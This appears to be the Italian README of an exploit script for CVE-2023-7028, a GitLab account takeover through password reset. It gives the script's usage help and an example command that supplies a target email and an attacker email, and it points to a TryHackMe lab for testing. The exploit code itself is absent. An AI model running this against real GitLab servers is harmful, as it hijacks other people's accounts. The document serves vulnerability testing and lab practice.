CVE-2023-7028

⚠️ Questo exploit è a scopo difensivo e dovrebbe essere utilizzato da professionisti della cybersecurity per identificare possibili server GitLab vulnerabili.

Descrizione

CVE-2023-7028 - Account Takeover tramite Password Reset senza interazione dell'utente in GitLab Community Edition e Enterprise Edition

Prodotti e versioni interessati:

• CVSS: 10.0
• Sfruttato attivamente: SÌ
• Patch: SÌ
• Mitigazione: NO

Aiuto

usage: CVE-2023-7028.py [-h] -u URL -t TARGET -a ATTACKER

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     GitLab URL (HTTP or HTTPS)
  -t TARGET, --target TARGET
                        Target email address
  -a ATTACKER, --attacker ATTACKER
                        Attacker email address

Esempio: python CVE-2023-7028.py -u https://gitlab.example.com -t [email protected] -a [email protected]

Laboratorio

Puoi utilizzare la Room di Try Hack Me GitLab CVE-2023-7028 per testare l'exploit, poiché esegue una versione vulnerabile interessata da CVE-2023-7028.

Visione dei server GitLab di SHADOWSERVER:

Riferimenti

• GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6
• Over 5,300 GitLab servers exposed to zero-click account takeover attacks
• Shadowserver GitLab Statistics
• CVE-2023-7028 - AttackerKB